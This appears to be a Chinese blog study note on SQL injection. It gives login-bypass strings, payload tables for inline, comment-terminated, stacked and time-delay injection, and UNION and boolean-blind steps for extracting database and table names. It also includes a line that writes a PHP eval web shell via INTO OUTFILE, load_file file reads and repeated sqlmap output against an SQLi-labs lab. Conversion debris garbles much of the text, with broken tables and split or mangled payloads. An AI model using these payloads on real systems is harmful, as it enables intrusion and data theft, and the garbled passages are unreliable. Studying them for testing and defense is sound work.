



链滴

# SQLi(持续更新)

作者: [someone38063](#)

原文链接: <https://ld246.com/article/1564157502228>

来源网站: [链滴](#)

许可协议: [署名-相同方式共享 4.0 国际 \(CC BY-SA 4.0\)](#)

<p>POST 注入是不用再编码的,GET 方法在 URL 中进行编码</p>

<p>URL 最大长度为 2048 字节</p>

<h2 id="SQL注入产生过程">SQL 注入产生过程</h2>

<ol>

<li>转义字符处理不当</li>

</ol>

<p>SQL 数据库将单引号(')解析成数据与代码的分界,也就是说单引号包裹的是数据,外面的是代码  
如果在 URL 或 Web 页面中输入单引号,可以快速识别是否存在注入</p>

<p>单引号并不是唯一的转义字符,比如 Oracle 中,空格(|),逗号(,),点号(.),(\*),双引号("</p>

<ol start="2">

<li>类型处理不当</li>

</ol>

<p>处理数字数据时候,不需要用引号闭合,否则数字数据会被当作字符串处理</p>

<ol start="3">

<li>

<p>查询集处理不当</p>

</li>

<li>

<p>错误处理不当</p>

</li>

</ol>

<p>web 服务器在呈现请求的 web 源时,如果发现错误会返回状态码 500,但有时候会 302 重定  
到一些固定页面</p>

<p>'+'是 URI 的保留字,需要进行编码,encode 为: %2B</p>

<h2 id="内联注入">内联注入</h2>

<p>是指向查询注入一些 SQL 代码后,原来的查询仍然会全部执行</p>

<ol>

<li>字符串内联注入</li>

</ol>

<ul>

<li>假设这是一个身份验证的表单</li>

</ul>

<hr>

<p>username</p>

<p>

</p><p>password</p>

<p></p>

<p>

</p>

<hr>

<p>假设该查询为以下格式: </p>

<pre><code class="highlight-chroma"><span class="highlight-line"><span class="highlight-cl">

</span></span><span class="highlight-line"><span class="highlight-cl">SELECT \*

</span></span><span class="highlight-line"><span class="highlight-cl">

</span></span><span class="highlight-line"><span class="highlight-cl">FROM Admin

</span></span><span class="highlight-line"><span class="highlight-cl">

```
</span></span><span class="highlight-line"><span class="highlight-cl">WHERE username
= '[username]' AND passwd = 'passwd';
</span></span><span class="highlight-line"><span class="highlight-cl">
</span></span></code></pre>
<p>向 username 输入一个单引号，单击提交后，若返回下列错误：</p>
<p>Error: You have an error in your SQL syntax; check the manual that corresponds to your
MySQL server version for the right syntax to use near ''' at line1</p>
<p>这说明这个表单存在 SQL 注入，上面的输入构造的 SQL 语句为：</p>
<pre><code class="highlight-chroma"><span class="highlight-line"><span class="highlight
cl">
</span></span><span class="highlight-line"><span class="highlight-cl">SELECT *
</span></span><span class="highlight-line"><span class="highlight-cl">
</span></span><span class="highlight-line"><span class="highlight-cl">FROM Admin
</span></span><span class="highlight-line"><span class="highlight-cl">
</span></span><span class="highlight-line"><span class="highlight-cl">WHERE username
= '' AND passwd = '';
</span></span><span class="highlight-line"><span class="highlight-cl">
</span></span></code></pre>
<p>现在构造一条 SQL 语句，以绕过验证；在 username 中输入'OR '1'='1,password 保持空，输
构造的 SQL 语句为：</p>
<pre><code class="highlight-chroma"><span class="highlight-line"><span class="highlight
cl">
</span></span><span class="highlight-line"><span class="highlight-cl">SELECT *
</span></span><span class="highlight-line"><span class="highlight-cl">
</span></span><span class="highlight-line"><span class="highlight-cl">FROM Admin
</span></span><span class="highlight-line"><span class="highlight-cl">
</span></span><span class="highlight-line"><span class="highlight-cl">WHERE username
= '' OR '1'='1' AND passwd = '';
</span></span><span class="highlight-line"><span class="highlight-cl">
</span></span></code></pre>
<p>但是这条语句不会返回所有字段，因为 AND 比 OR 优先级高，所以需要修改一下</p>
<pre><code class="highlight-chroma"><span class="highlight-line"><span class="highlight
cl">
</span></span><span class="highlight-line"><span class="highlight-cl">SELECT *
</span></span><span class="highlight-line"><span class="highlight-cl">
</span></span><span class="highlight-line"><span class="highlight-cl">FROM Admin
</span></span><span class="highlight-line"><span class="highlight-cl">
</span></span><span class="highlight-line"><span class="highlight-cl">WHERE (username
= '') OR ('1'='1') OR ('1'='1' AND passwd = '');
</span></span><span class="highlight-line"><span class="highlight-cl">
</span></span></code></pre>
<p>修改后的 SQL 语句保持 WHERE 子句条件永真，</p>
<p>如果想要返回 username=administrator 的记录行，SQL 语句为：</p>
<pre><code class="highlight-chroma"><span class="highlight-line"><span class="highlight
cl">
</span></span><span class="highlight-line"><span class="highlight-cl">SELECT *
</span></span><span class="highlight-line"><span class="highlight-cl">
</span></span><span class="highlight-line"><span class="highlight-cl">FROM Admin
</span></span><span class="highlight-line"><span class="highlight-cl">
</span></span><span class="highlight-line"><span class="highlight-cl">WHERE username
= 'administrator' AND 1 = 1 OR '1'='1' AND passwd = '';
</span></span><span class="highlight-line"><span class="highlight-cl">
</span></span></code></pre>
<p>字符串内联注入的特征值</p>
```

```

<table>
<thead>
<tr>
<th>测试字符串</th>
<th>变种</th>
<th>预期结果</th>
</tr>
</thead>
<tbody>
<tr>
<td>'</td>
<td></td>
<td>触发错误。如果成功，数据库返回错误信息</td>
</tr>
<tr>
<td><code>1' OR '1'='1</code></td>
<td><code>1') OR ('1'='1</code></td>
<td>永真条件，如果成功，将返回表中所有行</td>
</tr>
<tr>
<td><code>value' OR '1'='2</code></td>
<td><code>value') OR ('1'='2</code></td>
<td>空条件，如果成功，将会返回和原来语句一样的结果</td>
</tr>
<tr>
<td><code>1' AND '1'='2</code></td>
<td><code>1') AND ('1'='2</code></td>
<td>永假条件，如果成功，将不返回表中所有行</td>
</tr>
<tr>
<td><code>1' OR 'ab'='a'+ 'b</code></td>
<td><code>1') OR ('ab'='a'+ 'b</code></td>
<td>SQL Server 字符串连接。如果成功，将返回与永真条件相同的信息</td>
</tr>
<tr>
<td><code>1' OR 'ab'='a' 'b</code></td>
<td><code>1') OR ('ab'='a' 'b</code></td>
<td>MySQL 字符串连接。如果成功，将返回与永真条件相同的信息</td>
</tr>
<tr>
<td>`1' OR 'ab'='a'</td>
<td></td>
<td>'b`</td>
</tr>
<tr>
<td>2. 数字内联注入</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
<p>注入数字时不用加单引号</p>
<p>数字内联注入特征值</p>
<table>

```

```

<thead>
<tr>
<th>测试字符串</th>
<th>变种</th>
<th>预期结果</th>
</tr>
</thead>
<tbody>
<tr>
<td>'</td>
<td></td>
<td>触发错误。如果成功，数据库返回错误信息</td>
</tr>
<tr>
<td>1+1</td>
<td>3-1</td>
<td>如果成功，将返回与操作结果相同的值</td>
</tr>
<tr>
<td>value+0</td>
<td></td>
<td>如果成功，将返回与操作结果相同的值</td>
</tr>
<tr>
<td>1 OR 1=1</td>
<td>1) OR (1=1</td>
<td>永真条件。如果成功，将返回表中所有行</td>
</tr>
<tr>
<td>value OR 1=2</td>
<td>value) OR (1=2</td>
<td>空条件，如果成功，将会返回和原来语句一样的结果</td>
</tr>
<tr>
<td>1 AND 1=2</td>
<td>1) AND (1=2</td>
<td>永假条件，如果成功，将不返回表中所有行</td>
</tr>
<tr>
<td>1 OR 'ab'='a'+ 'b</td>
<td>1) OR ('ab'='a'+ 'b</td>
<td>SQL Server 字符串连接。如果成功，将返回与永真条件相同的信息</td>
</tr>
<tr>
<td>1 OR 'ab'='a' 'b</td>
<td>1) OR ('ab'='a' 'b</td>
<td>MySQL 字符串连接。如果成功，将返回与永真条件相同的信息</td>
</tr>
<tr>
<td>>`1 OR 'ab'='a'</td>
<td></td>
<td>'b`</td>
</tr>
</tbody>

```

</table>

<h2 id="终止式注入">终止式注入</h2>

<p>注入 SQL 代码时，通过将原查询语句的剩余部分注释掉，从而成功结束原来的查询语句</p>

<ol>

<li>数据库注释</li>

</ol>

<table>

<thead>

<tr>

<th>数据库</th>

<th>注释</th>

<th>描述</th>

</tr>

</thead>

<tbody>

<tr>

<td>SQL Server,Oracle,PostgreSQL</td>

<td>--(双连字符)</td>

<td>用于单行注释</td>

</tr>

<tr>

<td>SQL Server,Oracle,PostgreSQL</td>

<td>/\* \*/</td>

<td>用于多行注释</td>

</tr>

<tr>

<td>MYSQL</td>

<td>--(双连字符)</td>

<td>用于单行注释，第二个连字符后面需要加一个空格或控制字符(制表符、换行符)</td>

</tr>

<tr>

<td>MYSQL</td>

<td>#</td>

<td>用于单行注释</td>

</tr>

<tr>

<td>MYSQL</td>

<td>/\* \*/</td>

<td>用于多行注释</td>

</tr>

</tbody>

</table>

<ul>

<li>防止 SQL 注入的技术有：从最开始位置检测，清除用户输入中的所有空格，截短输入的值。可使用多行注释来绕过这些限制(避免使用空格)</li>

</ul>

<p>假设一个请求：<code>http://localhost/main.php?id=2/\*hello\*/</code></p>

<p>如果该请求正常返回且得到与 id=2 相同的结果，即数据库忽略了注释内容，说明可能存在 SQL 注入</p>

<ol start="2">

<li>使用注释终止 SQL 语句</li>

</ol>

<hr>

```
<p>username</p>
<p>
</p><p>password</p>
```

```
<p></p>
<p>
```

```
</p>
```

```
<hr>
```

<p>该查询为以下格式: </p>

```
<pre><code class="highlight-chroma"><span class="highlight-line"><span class="highlight-cl">
```

```
</span></span><span class="highlight-line"><span class="highlight-cl">SELECT *
```

```
</span></span><span class="highlight-line"><span class="highlight-cl">
```

```
</span></span><span class="highlight-line"><span class="highlight-cl">FROM Admin
```

```
</span></span><span class="highlight-line"><span class="highlight-cl">
```

```
</span></span><span class="highlight-line"><span class="highlight-cl">WHERE username
= '[username]' AND passwd = 'passwd';
```

```
</span></span><span class="highlight-line"><span class="highlight-cl">
```

```
</span></span></code></pre>
```

```
<ul>
```

- <li>只向 username 字段注入代码并终止该语句, 注入: <code>' OR 1=1;--</code>; 构造的 SQL 语句为: </li>

```
</ul>
```

```
<pre><code class="highlight-chroma"><span class="highlight-line"><span class="highlight-cl">
```

```
</span></span><span class="highlight-line"><span class="highlight-cl">SELECT *
```

```
</span></span><span class="highlight-line"><span class="highlight-cl">
```

```
</span></span><span class="highlight-line"><span class="highlight-cl">FROM Admin
```

```
</span></span><span class="highlight-line"><span class="highlight-cl">
```

```
</span></span><span class="highlight-line"><span class="highlight-cl">WHERE username
= " OR 1=1;-- AND passwd =";
```

```
</span></span><span class="highlight-line"><span class="highlight-cl">
```

```
</span></span></code></pre>
```

<p>由于'1=1'为永真条件, 该语句返回 Admin 表中的所有行, 而且注释掉后半部分, 有时候无法使用(--), 因为可能对他进行了过滤, 也可能在注释过程中产生了错误, 这时使用多行注释(/\* \*/)来替(--)</p>

```
<ul>
```

- <li>使用多行注释</li>

```
</ul>
```

<p>对 username 字段和 password 字段分别注入 <code>admin'/\*</code> 和 <code>\*'</code>, 构造的 SQL 语句为: </p>

```
<pre><code class="highlight-chroma"><span class="highlight-line"><span class="highlight-cl">
```

```
</span></span><span class="highlight-line"><span class="highlight-cl">SELECT *
```

```
</span></span><span class="highlight-line"><span class="highlight-cl">
```

```
</span></span><span class="highlight-line"><span class="highlight-cl">FROM Admin
```

```
</span></span><span class="highlight-line"><span class="highlight-cl">
```

```
</span></span><span class="highlight-line"><span class="highlight-cl">WHERE username
= 'admin'/* AND passwd = '*/'
```

```
</span></span><span class="highlight-line"><span class="highlight-cl">
```

```
</span></span></code></pre>
```

等同于: `SELECT * FROM Admin WHERE username = 'admin'';`

数据库的连接运算符

| 数据库                 | 实例            |
|---------------------|---------------|
| SQL Server          | 'a'+ 'b'='ab' |
| MySQL               | 'a' 'b'='ab'  |
| Oracle 和 PostgreSQL | 'a'           |

可以用以上几种方法辨别应用为哪种数据库

<ol>

<li>

原始请求: `http://localhost/main.php?user=root --`

</li>

<li>

SQL Server `http://localhost/main.php?user=ro' + 'ot --`

</li>

<li>

MYSQL `http://localhost/main.php?user=ro' 'ot --`

</li>

<li>

Oracle 和 PostgreSQL `http://localhost/main.php?user=ro' ||'ot --`

</li>

</ol>

<blockquote>

使用数据库注释时常用的特征值

</blockquote>

| 测试字符串                  | 变种 | 预期结果 |
|------------------------|----|------|
| <code>admin'--</code>  |    |      |
| <code>admin')--</code> |    |      |



|  |
|--|
| <td>通过返回数据库中的 admin 行来绕过验证</td>                |
| </tr>  |
| <td><code>admin'#</code></td>                  |
| <td><code>admin')#</code></td>                 |
| <td>MYSQL 通过返回数据库中的 admin 行来绕过验证</td>          |
| </tr>  |
| <td><code>1--</code></td>                      |
| <td><code>1)--</code></td>                     |
| <td>注释掉剩下的查询，希望能够清除可注入参数后面 WHERE 子句指定的过滤</td>  |
| </tr>  |
| <td><code>1 OR 1=1--</code></td>               |
| <td><code>1) OR 1=1--</code></td>              |
| <td>注入一个数字参数，返回所有行</td>                        |
| </tr>  |
| <td><code>' OR '1'='1'--</code></td>           |
| <td><code>') OR '1'='1'--</code></td>          |
| <td>注入一个字符串参数，返回所有行</td>                       |
| </tr>  |
| <td><code>-1 AND 1=2--</code></td>             |
| <td><code>-1) AND 1=2</code></td>              |
| <td>注入一个数字参数，不返回任何行</td>                       |
| </tr>  |
| <td><code>' AND '1'='2'--</code></td>          |
| <td><code>') AND '1'='2'--</code></td>         |
| <td>注入一个字符串参数，不返回任何行</td>                      |
| </tr>  |
| <td>1 <code>/*注释*/</code></td>                 |
| <td></td>                                      |
| <td>将注入注释掉。如果成功，将不会对请求产生任何影响。有助于识别 SQL 注入</td> |
| </tr>  |

</tbody>

</table>

- <li>执行多条 SQL 语句</li>

</ol>

<p>如果终止了一条 SQL 语句，就可以创建一条新的没有限制的 SQL 语句</p>

<p>用于注入多条 SQL 语句的特征值</p>

| <th>测试字符串</th> | <th>变种</th> | <th>预期结果</th> |
|----------------|-------------|---------------|
| <td></td>      | <td></td>   | <td></td>     |

```

<td><code>' ;[SQL Statement];--</code></td>
<td><code>);[SQL Statement];--</code></td>
<td>注入一个字符串参数，执行多条语句</td>
</tr>
<tr>
<td><code>' ;[SQL Statement];#</code></td>
<td><code>);[SQL Statement];#</code></td>
<td>MYSQL 注入一个字符串参数，执行多条语句</td>
</tr>
<tr>
<td><code>);[SQL Statement];--</code></td>
<td><code>);[SQL Statement];--</code></td>
<td>注入一个数值参数，执行多条语句</td>
</tr>
<tr>
<td><code>);[SQL Statement];#</code></td>
<td><code>);[SQL Statement];#</code></td>
<td>MYSQL 注入一个数值参数，执行多条语句</td>
</tr>
</tbody>
</table>

```

```

<ol start="4">
<li>延迟注入</li>
</ol>

```

当在进行 SQL 盲注的过程中，经常会不确定是否存在漏洞，有时候 Web 应用不会返回任何错，无法检索任何数据，这时候为了识别漏洞，需要向数据库注入时间延迟，并且检查服务器端响应是否也产生了延迟

## 获取数据库 flag

查询各种数据库的版本

```

<table>
<thead>
<tr>
<th>数据库</th>
<th>查询语句</th>
</tr>
</thead>
<tbody>
<tr>
<td>MS SQL Server</td>
<td>SELECT @@VERSION</td>
</tr>
<tr>
<td>MySQL</td>
<td>SELECT version() , SELECT @@VERSION</td>
</tr>
<tr>
<td>Oracle</td>
<td><code>SELECT banner FROM v$version SELECT banner FROM v$version WHERE rownu
=1</code></td>
</tr>
<tr>
<td>PostgreSQL</td>
<td>SELECT version()</td>
</tr>

```

</tbody>

</table>

<h2 id="使用UNION语句">使用 UNION 语句</h2>

<p>满足的条件: </p>

<ol>

<li>

<p>两个查询返回的列数必须相同</p>

</li>

<li>

<p>两个查询对应列的数据类型相同或兼容</p>

</li>

</ol>

<p>如果不满足这两个条件，数据库则会返回错误，根据返回语句的不同，我们可以分辨其数据库类</p>

<p>可以用 <code>ORDER BY</code> 子句 + 数字参数，例如 <code>ORDER BY 6</code>

测试列数</p>

<ul>

<li>

<p>尝试 <code>ORDER BY 6</code>，若不返回错误，说明列数 >6</p>

</li>

<li>

<p>尝试 <code>ORDER BY 14</code>，若返回错误，说明 8<列数 <14</p>

</li>

</ul>

<p>以此类推该二分法，即可推断出列数。</p>

<p>选用 <code>ORDER BY 6</code> 子句的原因是因为他在服务器日志留下的痕迹更小</p>

<h2 id="不同数据库将任意数据转换为字符串">不同数据库将任意数据转换为字符串</h2>

<table>

<thead>

<tr>

<th>数据库</th>

<th>语句</th>

</tr>

</thead>

<tbody>

<tr>

<td>MS SQL Server</td>

<td>SELECT CAST('111' AS varchar)</td>

</tr>

<tr>

<td>MySQL</td>

<td>SELECT CAST('111' AS char)</td>

</tr>

<tr>

<td>Oracle</td>

<td>SELECT CAST(111 AS varchar) FROM dual</td>

</tr>

<tr>

<td>PostgreSQL</td>

<td>SELECT CAST(111 AS text)</td>

</tr>

<tr>

<td>PostgreSQL 允许非字符串变量连接字符串 `(</td>

<td></td>

```

</tr>
</tbody>
</table>
<h2 id="导出数据库">导出数据库</h2>
<p><code>SELECT '&lt;?php eval($_POST[cmd])?&gt;' into outfile '物理地址'</code></p>
<h2 id="读文件">读文件</h2>
<p>load_file(0x23213213213) //支持 16 进制</p>
<p><code>select load_file(c:\a.txt);</code></p>
<h2 id="---HTML中为锚点">(##)HTML 中为锚点</h2>
<p>在 SQL 注入中使用注释符'#'会被认为是锚点，需要进行 URL 编码'%23'</p>
<h2 id="布尔注入">布尔注入</h2>
<ul>
<li>函数</li>
</ul>
<p>mid(str,1,3) 字符串截取</p>
<p>ORD(s) 转换为 ASCII 码</p>
<p>length(s) 字节数</p>
<p>version() 数据库版本</p>
<p>database() 数据库名</p>
<p>user() 查看当前用户</p>
<ol>
<li>
<p>布尔注入得到数据库名称长度: <code>username=1' or length(database())&gt;1 # &amp;passwd='22222';</code>, <code>username=1' or length(database())&gt;2 # &amp;passwd='2222'</code>, <code>username=1' or length(database())&gt;3 # &amp;passwd='22222'</code> .....以此类推得到数据库名称长度</p>
</li>
<li>
<p>布尔注入进行字符串截取确认每一个字符: <code>username=1' or ORD(mid(database(),1,1))&gt;1 # &amp;passwd='22222';</code>, <code>username=1' or ORD(mid(database(),1,1))&gt;2 # &amp;passwd='22222';</code>, <code>username=1' or ORD(mid(database(),1,1))&gt;3 &amp;passwd='22222';</code> .....以此类推确认第一个字符; <code>username=1' or ORD(mid(database(),2,1))&gt;1 # &amp;passwd='22222';</code> .....确认第二个字符.....最终得到<strong>数据库名称</strong></p>
</li>
<li>
<p>获取表的总数: <code>select count(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database();</code></p>
</li>
<li>
<p>获取表名长度: <code>select length(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database() limit a,b;</code></p>
</li>
</ol>
<ul>
<li>
<p>获取第一个表的长度: <code>select length(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database() limit 0,1;</code></p>
</li>
<li>
<p>获取第二个表的长度: <code>select length(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database() limit 1,1;</code></p>
</li>
</ul>

```

<ol start="5" >

<li>

<p>获取表内容: <code>select TABLE\_NAME from information\_schema.TABLES where TABLE\_SCHEMA=database();</code> </p>

</li>

<li>

<p>获取字段总数: <code>select length(TABLE\_NAME) from information\_schema.TABLES where TABLE\_SCHEMA=表名 limit a,b;</code> </p>

</li>

</ol>

<ul>

<li>

<p>获取第一个字段长度: <code>select length(TABLE\_NAME) from information\_schema.TABLES where TABLE\_SCHEMA=表名 limit 0,1;</code> </p>

</li>

<li>

<p>获取第二个字段长度: <code>select length(TABLE\_NAME) from information\_schema.TABLES where TABLE\_SCHEMA=表名 limit 1,1;</code> </p>

</li>

</ul>

<hr>

<h2 id="使用SQLMAP注入SQL-Lab下sqlmap-Less-1的结果">使用 SQLMAP 注入 SQL Lab 下 sqlmap/Less-1 的结果</h2>

<pre> <code class="highlight-chroma"> <span class="highlight-line"> <span class="highlight-cl"> sqlmap identified the following injection point(s) with a total of 52 HTTP(s) requests:

</span> </span> <span class="highlight-line"> <span class="highlight-cl"> ---

</span> </span> <span class="highlight-line"> <span class="highlight-cl"> Parameter: id (GET

</span> </span> <span class="highlight-line"> <span class="highlight-cl"> Type: boolean-based blind

</span> </span> <span class="highlight-line"> <span class="highlight-cl"> Title: AND boolean-based blind - WHERE or HAVING clause

</span> </span> <span class="highlight-line"> <span class="highlight-cl"> Payload: id=1'' AND 6967=6967 AND 'oblw'='oblw

</span> </span> <span class="highlight-line"> <span class="highlight-cl"> Type: error-based

</span> </span> <span class="highlight-line"> <span class="highlight-cl"> Title: MySQL > 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)

</span> </span> <span class="highlight-line"> <span class="highlight-cl"> Payload: id=1'' AND (SELECT 1962 FROM(SELECT COUNT(\*),CONCAT(0x716b786271,(SELECT (ELT(1962=1962,1))) ,0x7170787871,FLOOR(RAND(0)\*2)))x FROM INFORMATION\_SCHEMA.PLUGINS GROUP BY x) AND 'wBLF'='wBLF

</span> </span> <span class="highlight-line"> <span class="highlight-cl">

</span> </span> <span class="highlight-line"> <span class="highlight-cl">

</span> </span> <span class="highlight-line"> <span class="highlight-cl">

</span> </span> <span class="highlight-line"> <span class="highlight-cl"> Type: error-based

</span> </span> <span class="highlight-line"> <span class="highlight-cl"> Title: MySQL > 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)

</span> </span> <span class="highlight-line"> <span class="highlight-cl"> Payload: id=1'' AND (SELECT 1962 FROM(SELECT COUNT(\*),CONCAT(0x716b786271,(SELECT (ELT(1962=1962,1))) ,0x7170787871,FLOOR(RAND(0)\*2)))x FROM INFORMATION\_SCHEMA.PLUGINS GROUP BY x) AND 'wBLF'='wBLF

</span> </span> <span class="highlight-line"> <span class="highlight-cl">

</span> </span> <span class="highlight-line"> <span class="highlight-cl">

</span></span><span class="highlight-line"><span class="highlight-cl">  
</span></span><span class="highlight-line"><span class="highlight-cl">  
</span></span><span class="highlight-line"><span class="highlight-cl">Type: time-based  
blind  
</span></span><span class="highlight-line"><span class="highlight-cl">  
</span></span><span class="highlight-line"><span class="highlight-cl">Title: MySQL &gt;  
5.0.12 AND time-based blind (query SLEEP)  
</span></span><span class="highlight-line"><span class="highlight-cl">  
</span></span><span class="highlight-line"><span class="highlight-cl">Payload: id=1'' A  
D (SELECT 5905 FROM (SELECT(SLEEP(5)))mVqx) AND 'gCTg'='gCTg  
</span></span><span class="highlight-line"><span class="highlight-cl">  
</span></span><span class="highlight-line"><span class="highlight-cl">  
</span></span><span class="highlight-line"><span class="highlight-cl">  
</span></span><span class="highlight-line"><span class="highlight-cl">Type: UNION que  
ry  
</span></span><span class="highlight-line"><span class="highlight-cl">  
</span></span><span class="highlight-line"><span class="highlight-cl">Title: Generic UNI  
N query (NULL) - 3 columns  
</span></span><span class="highlight-line"><span class="highlight-cl">  
</span></span><span class="highlight-line"><span class="highlight-cl">Payload: id=-6117  
UNION ALL SELECT NULL,NULL,CONCAT(0x716b786271,0x736d4b46575247556c617770457  
5979796f546c484669536a77414d676c5a71486a726443515766,0x7170787871)--  
</span></span><span class="highlight-line"><span class="highlight-cl">  
</span></span><span class="highlight-line"><span class="highlight-cl">---  
</span></span><span class="highlight-line"><span class="highlight-cl">  
</span></span><span class="highlight-line"><span class="highlight-cl">web application t  
chnology: Apache 2.4.39, PHP 7.2.18  
</span></span><span class="highlight-line"><span class="highlight-cl">  
</span></span><span class="highlight-line"><span class="highlight-cl">back-end DBMS:  
MySQL &gt;= 5.0  
</span></span><span class="highlight-line"><span class="highlight-cl">  
</span></span><span class="highlight-line"><span class="highlight-cl">current database:  
security'  
</span></span><span class="highlight-line"><span class="highlight-cl">  
</span></span><span class="highlight-line"><span class="highlight-cl">sqlmap resumed t  
he following injection point(s) from stored session:  
</span></span><span class="highlight-line"><span class="highlight-cl">  
</span></span><span class="highlight-line"><span class="highlight-cl">---  
</span></span><span class="highlight-line"><span class="highlight-cl">  
</span></span><span class="highlight-line"><span class="highlight-cl">Parameter: id (GET  
  
</span></span><span class="highlight-line"><span class="highlight-cl">  
</span></span><span class="highlight-line"><span class="highlight-cl">Type: boolean-ba  
sed blind  
</span></span><span class="highlight-line"><span class="highlight-cl">  
</span></span><span class="highlight-line"><span class="highlight-cl">Title: AND boolea  
-based blind - WHERE or HAVING clause  
</span></span><span class="highlight-line"><span class="highlight-cl">  
</span></span><span class="highlight-line"><span class="highlight-cl">Payload: id=1'' A  
D 6967=6967 AND 'oblw'='oblw  
</span></span><span class="highlight-line"><span class="highlight-cl">  
</span></span><span class="highlight-line"><span class="highlight-cl">  
</span></span><span class="highlight-line"><span class="highlight-cl">  
</span></span><span class="highlight-line"><span class="highlight-cl">Type: error-based

</span></span><span class="highlight-line"><span class="highlight-cl">  
</span></span><span class="highlight-line"><span class="highlight-cl">Title: MySQL &gt;  
5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)  
</span></span><span class="highlight-line"><span class="highlight-cl">  
</span></span><span class="highlight-line"><span class="highlight-cl">Payload: id=1''' A  
D (SELECT 1962 FROM(SELECT COUNT(\*),CONCAT(0x716b786271,(SELECT (ELT(1962=1962,1))  
,0x7170787871,FLOOR(RAND(0)\*2))x FROM INFORMATION\_SCHEMA.PLUGINS GROUP BY x)a)  
AND 'wBLF'='wBLF  
</span></span><span class="highlight-line"><span class="highlight-cl">  
</span></span><span class="highlight-line"><span class="highlight-cl">  
</span></span><span class="highlight-line"><span class="highlight-cl">  
</span></span><span class="highlight-line"><span class="highlight-cl">Type: time-based  
blind  
</span></span><span class="highlight-line"><span class="highlight-cl">  
</span></span><span class="highlight-line"><span class="highlight-cl">Title: MySQL &gt;  
5.0.12 AND time-based blind (query SLEEP)  
</span></span><span class="highlight-line"><span class="highlight-cl">  
</span></span><span class="highlight-line"><span class="highlight-cl">Payload: id=1''' A  
D (SELECT 5905 FROM (SELECT(SLEEP(5)))mVqx) AND 'gCTg'='gCTg  
</span></span><span class="highlight-line"><span class="highlight-cl">  
</span></span><span class="highlight-line"><span class="highlight-cl">  
</span></span><span class="highlight-line"><span class="highlight-cl">  
</span></span><span class="highlight-line"><span class="highlight-cl">Type: UNION que  
ry  
</span></span><span class="highlight-line"><span class="highlight-cl">  
</span></span><span class="highlight-line"><span class="highlight-cl">Title: Generic UNI  
N query (NULL) - 3 columns  
</span></span><span class="highlight-line"><span class="highlight-cl">  
</span></span><span class="highlight-line"><span class="highlight-cl">Payload: id=-6117  
UNION ALL SELECT NULL,NULL,CONCAT(0x716b786271,0x736d4b46575247556c617770457  
5979796f546c484669536a77414d676c5a71486a726443515766,0x7170787871)-- IrVS  
</span></span><span class="highlight-line"><span class="highlight-cl">  
</span></span><span class="highlight-line"><span class="highlight-cl">---  
</span></span><span class="highlight-line"><span class="highlight-cl">  
</span></span><span class="highlight-line"><span class="highlight-cl">web application t  
chnology: Apache 2.4.39, PHP 7.2.18  
</span></span><span class="highlight-line"><span class="highlight-cl">  
</span></span><span class="highlight-line"><span class="highlight-cl">back-end DBMS:  
MySQL &gt;= 5.0  
</span></span><span class="highlight-line"><span class="highlight-cl">  
</span></span><span class="highlight-line"><span class="highlight-cl">current database:  
security'  
</span></span><span class="highlight-line"><span class="highlight-cl">  
</span></span><span class="highlight-line"><span class="highlight-cl">sqlmap resumed t  
he following injection point(s) from stored session:  
</span></span><span class="highlight-line"><span class="highlight-cl">  
</span></span><span class="highlight-line"><span class="highlight-cl">---  
</span></span><span class="highlight-line"><span class="highlight-cl">  
</span></span><span class="highlight-line"><span class="highlight-cl">Parameter: id (GET  
  
</span></span><span class="highlight-line"><span class="highlight-cl">  
</span></span><span class="highlight-line"><span class="highlight-cl">Type: boolean-ba  
ed blind  
</span></span><span class="highlight-line"><span class="highlight-cl">

```
</span></span><span class="highlight-line"><span class="highlight-cl">Title: AND boolea
-based blind - WHERE or HAVING clause
</span></span><span class="highlight-line"><span class="highlight-cl">
</span></span><span class="highlight-line"><span class="highlight-cl">Payload: id=1'' A
D 6967=6967 AND 'oblw'='oblw
</span></span><span class="highlight-line"><span class="highlight-cl">
</span></span><span class="highlight-line"><span class="highlight-cl">
</span></span><span class="highlight-line"><span class="highlight-cl">
</span></span><span class="highlight-line"><span class="highlight-cl">Type: error-based
</span></span><span class="highlight-line"><span class="highlight-cl">
</span></span><span class="highlight-line"><span class="highlight-cl">Title: MySQL &gt;
5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
</span></span><span class="highlight-line"><span class="highlight-cl">
</span></span><span class="highlight-line"><span class="highlight-cl">Payload: id=1'' A
D (SELECT 1962 FROM(SELECT COUNT(*),CONCAT(0x716b786271,(SELECT (ELT(1962=1962,1))
,0x7170787871,FLOOR(RAND(0)*2)))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
AND 'wBLF'='wBLF
</span></span><span class="highlight-line"><span class="highlight-cl">
</span></span><span class="highlight-line"><span class="highlight-cl">
</span></span><span class="highlight-line"><span class="highlight-cl">
</span></span><span class="highlight-line"><span class="highlight-cl">Type: time-based
blind
</span></span><span class="highlight-line"><span class="highlight-cl">
</span></span><span class="highlight-line"><span class="highlight-cl">Title: MySQL &gt;
5.0.12 AND time-based blind (query SLEEP)
</span></span><span class="highlight-line"><span class="highlight-cl">
</span></span><span class="highlight-line"><span class="highlight-cl">Payload: id=1'' A
D (SELECT 5905 FROM (SELECT(SLEEP(5)))mVqx) AND 'gCTg'='gCTg
</span></span><span class="highlight-line"><span class="highlight-cl">
</span></span><span class="highlight-line"><span class="highlight-cl">
</span></span><span class="highlight-line"><span class="highlight-cl">
</span></span><span class="highlight-line"><span class="highlight-cl">Type: UNION que
ry
</span></span><span class="highlight-line"><span class="highlight-cl">
</span></span><span class="highlight-line"><span class="highlight-cl">Title: Generic UNI
N query (NULL) - 3 columns
</span></span><span class="highlight-line"><span class="highlight-cl">
</span></span><span class="highlight-line"><span class="highlight-cl">Payload: id=-6117
UNION ALL SELECT NULL,NULL,CONCAT(0x716b786271,0x736d4b46575247556c617770457
5979796f546c484669536a77414d676c5a71486a726443515766,0x7170787871)-- lrVS
</span></span><span class="highlight-line"><span class="highlight-cl">
</span></span><span class="highlight-line"><span class="highlight-cl">---
</span></span><span class="highlight-line"><span class="highlight-cl">
</span></span><span class="highlight-line"><span class="highlight-cl">web application t
chnology: Apache 2.4.39, PHP 7.2.18
